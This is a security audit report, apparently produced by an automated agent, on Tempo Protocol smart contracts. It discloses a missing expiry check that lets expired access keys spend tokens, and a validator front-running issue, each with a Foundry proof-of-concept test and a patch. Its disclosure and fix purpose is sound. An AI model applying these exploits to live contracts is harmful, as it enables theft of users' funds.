Security Audit Report: Tempo Protocol
We ran Kai Agent against the Tempo Protocol repository, focusing on the TIP reference implementations including AccountKeychain and ValidatorConfig. The automated analysis discovered two vulnerabilities that were verified against the original codebase.
Executive Summary
| Metric | Value |
|---|---|
| Repository | tempoxyz/tempo |
| Contracts Analyzed | AccountKeychain, ValidatorConfig, TIP20 |
| Exploit Candidates Found | 8 |
| Verified Exploits | 2 |
| Rejected (False Positives) | 6 |
Severity Breakdown
| Severity | Count |
|---|---|
| Critical | 0 |
| High | 1 |
| Medium | 0 |
| Low | 1 |
| Informational | 0 |
Verified Vulnerabilities
[HIGH] Expired Access Keys Can Still Spend Tokens
Severity: High
Affected Contract: AccountKeychain.sol
Affected Function: _verifyAndUpdateSpending() (lines 252-287)
Vulnerability Class: Access Control
Description
The _verifyAndUpdateSpending function enforces revocation status and key existence but never checks if the key has expired. As a result, an access key remains usable after its expiry timestamp, allowing unauthorized spending.
Root Cause Analysis
The function performs these checks:
- If keyId is the main key (address(0)) - returns early
- If key is revoked (
isRevoked) - reverts withKeyAlreadyRevoked - If key exists (
expiry > 0) - reverts withKeyNotFound - If limits are enforced (
enforceLimits) - returns early if not - If spending limit is sufficient - reverts with
SpendingLimitExceeded
Missing Check: There is NO check for block.timestamp >= key.expiry.
Compare with updateSpendingLimit() (lines 157-162) which correctly includes:
// Check if key has expired
if (block.timestamp >= key.expiry) {
revert KeyExpired();
}
Impact
- Attack Vector: Any user with an expired access key
- Economic Feasibility: High - attacker can spend up to the full remaining spending limit after key expiration
- Potential Loss: Full remaining spending limit of expired keys
Attack Scenario:
- Account owner grants an access key to an employee with 30-day expiry and 1000 token limit
- Employee uses 500 tokens during their employment
- After 30 days, the key should be unusable
- However, the employee can still spend the remaining 500 tokens using the expired key
Proof of Concept
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.28 <0.9.0;
import "forge-std/Test.sol";
import "src/AccountKeychain.sol";
contract AccountKeychainHarness is AccountKeychain {
function setTransactionKey(address keyId) external {
_setTransactionKey(keyId);
}
function verifyAndUpdateSpending(address account, address keyId, address token, uint256 amount)
external
{
_verifyAndUpdateSpending(account, keyId, token, amount);
}
}
contract ExpiredKeySpendingTest is Test {
AccountKeychainHarness keychain;
function setUp() public {
keychain = new AccountKeychainHarness();
}
function test_expired_key_can_still_spend() public {
address keyId = address(0xBEEF);
address token = address(0xCAFE);
IAccountKeychain.TokenLimit[] memory limits = new IAccountKeychain.TokenLimit[](1);
limits[0] = IAccountKeychain.TokenLimit({token: token, amount: 100});
// authorize key with short expiry
keychain.authorizeKey(
keyId,
IAccountKeychain.SignatureType.Secp256k1,
uint64(block.timestamp + 1),
true,
limits
);
// move time past expiry
vm.warp(block.timestamp + 2);
// Protocol-level spending check should fail for expired keys,
// but it succeeds because expiry is never checked.
keychain.verifyAndUpdateSpending(address(this), keyId, token, 10);
// Remaining limit reduced, proving spending succeeded after expiry.
uint256 remaining = keychain.getRemainingLimit(address(this), keyId, token);
assertEq(remaining, 90);
}
}
Recommended Fix
Add an expiry check in _verifyAndUpdateSpending:
--- src/AccountKeychain.sol
+++ src/AccountKeychain.sol
@@ -269,6 +269,11 @@
revert KeyNotFound();
}
+ // Check if key has expired
+ if (block.timestamp >= key.expiry) {
+ revert KeyExpired();
+ }
+
// If enforceLimits is false, this key has unlimited spending
if (!key.enforceLimits) {
return;
[LOW] Validator Can Evade Deactivation via Address Rotation Front-Running
Severity: Low
Affected Contract: ValidatorConfig.sol
Affected Function: changeValidatorStatus() (lines 142-149)
Vulnerability Class: Front-Running
Description
The changeValidatorStatus(address validator, bool active) function is vulnerable to front-running because validators can rotate to a new address via updateValidator(). A validator can preempt an admin's deactivation by changing its address, causing changeValidatorStatus on the old address to revert with ValidatorNotFound.
Root Cause Analysis
updateValidator()allows validators to rotate to a new address (line 113-124)- When rotating, the old address entry is deleted:
delete validators[msg.sender] changeValidatorStatus(address)checks if validator exists at that specific address- If the address was rotated, the check fails and reverts
Existing Mitigation: The contract provides changeValidatorStatusByIndex(uint64 index, bool active) which uses the validator's index (preserved during rotation) and would successfully deactivate the validator regardless of address rotation.
Impact
- Attack Vector: Validator monitors mempool and front-runs deactivation
- Economic Feasibility: Yes - minimal gas cost
- Attacker Profit: No direct profit - griefing attack to temporarily evade deactivation
- Mitigation Exists: Admin can use
changeValidatorStatusByIndexinstead
Proof of Concept
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/ValidatorConfig.sol";
import "src/interfaces/IValidatorConfig.sol";
contract ValidatorStatusFrontRunTest is Test {
ValidatorConfig config;
address admin = address(0xA11CE);
address validator1 = address(0xB0B);
address validator2 = address(0xC0C);
function setUp() public {
config = new ValidatorConfig(admin);
vm.prank(admin);
config.addValidator(
validator1,
bytes32(uint256(1)),
true,
"host:1234",
"1.2.3.4:1234"
);
}
function testValidatorCanEvadeDeactivationByRotatingAddress() public {
// Validator front-runs by rotating to a new address
vm.prank(validator1);
config.updateValidator(
validator2,
bytes32(uint256(2)),
"host:1234",
"1.2.3.4:1234"
);
// Admin attempts to deactivate old address, but it no longer exists
vm.prank(admin);
vm.expectRevert(IValidatorConfig.ValidatorNotFound.selector);
config.changeValidatorStatus(validator1, false);
// Validator remains active at the new address
(, bool active, , , , ) = config.validators(validator2);
assertTrue(active, "validator should remain active after rotation");
}
}
Recommended Fix
Track validator addresses historically to resolve rotated addresses:
--- src/ValidatorConfig.sol
+++ src/ValidatorConfig.sol
@@ -20,6 +20,9 @@
/// @notice Mapping from validator address to validator info
mapping(address => Validator) public validators;
+
+ /// @notice Mapping from current or historical validator address to validator index + 1
+ mapping(address => uint256) private validatorIndexByAddress;
/// @notice The epoch at which a fresh DKG ceremony will be triggered
uint64 private nextDkgCeremony;
@@ -82,6 +85,9 @@
outboundAddress: outboundAddress
});
+ // Track the validator index for address lookups
+ validatorIndexByAddress[newValidatorAddress] = uint256(validatorCount) + 1;
+
// Add to array
validatorsArray.push(newValidatorAddress);
@@ -127,6 +133,9 @@
_validateHostPort(inboundAddress, "inboundAddress");
_validateIpPort(outboundAddress, "outboundAddress");
+ // Track the validator index for address lookups
+ validatorIndexByAddress[newValidatorAddress] = uint256(oldValidator.index) + 1;
+
// Store updated validator
validators[newValidatorAddress] = Validator({
publicKey: publicKey,
@@ -142,7 +151,23 @@
function changeValidatorStatus(address validator, bool active) external onlyOwner {
// Check if validator exists
if (validators[validator].publicKey == bytes32(0)) {
- revert ValidatorNotFound();
+ uint256 indexPlusOne = validatorIndexByAddress[validator];
+ if (indexPlusOne == 0) {
+ revert ValidatorNotFound();
+ }
+
+ uint64 index = uint64(indexPlusOne - 1);
+ if (index >= validatorsArray.length) {
+ revert ValidatorNotFound();
+ }
+
+ address validatorAddress = validatorsArray[index];
+ if (validators[validatorAddress].publicKey == bytes32(0)) {
+ revert ValidatorNotFound();
+ }
+
+ validators[validatorAddress].active = active;
+ return;
}
validators[validator].active = active;
Rejected Findings (False Positives)
The following 6 exploit candidates were investigated but rejected:
| Finding | Reason |
|---|---|
| TIP20 Fee Manager optedInSupply Inflation | Requires control of TIP_FEE_MANAGER precompile address (0xfeEC...) - not controllable by external attackers |
| TIP20 Fee Refund Inconsistency | Did not compile - missing dependencies |
| TIP20 actualUsed Mismatch | Did not compile - missing dependencies |
| TIP20 Negative Fee via Buffer | No verdict - incomplete analysis |
| TIP20 Self-Transfer Inflation | Duplicate of Fee Manager finding |
Methodology
Kai Agent uses a multi-phase security analysis pipeline:
- Setup: Repository cloned, dependencies installed, contracts compiled
- Static Analysis: Control flow analysis, entry point identification
- Invariant Discovery: Security properties extracted from code patterns
- Mission Dispatch: Targeted analysis of access control, expiry handling, admin functions
- Exploit Generation: Foundry PoC tests written for each candidate
- Verification: Tests compiled and executed - only passing tests with real implementations qualify
- Fix Generation: Patches generated and validated against the PoC
Verification Against Original Code
Both vulnerabilities were verified against the original Tempo repository:
- Files compared:
AccountKeychain.sol,ValidatorConfig.sol - Result: IDENTICAL to modified test repository
- Confidence: Vulnerabilities exist in production code
Conclusion
This audit discovered two vulnerabilities in the Tempo protocol:
-
High Severity: Missing expiry check in
_verifyAndUpdateSpendingallows expired access keys to continue spending tokens. This defeats the security purpose of key expiration and should be fixed immediately. -
Low Severity: Validators can front-run deactivation by rotating addresses. A workaround exists (
changeValidatorStatusByIndex), but the address-based function should be hardened for defense in depth.
The high-severity finding represents a significant access control bypass where time-limited permissions can be used indefinitely. The fix is straightforward - adding the same expiry check that exists in related functions.
Generated by Kai Agent.



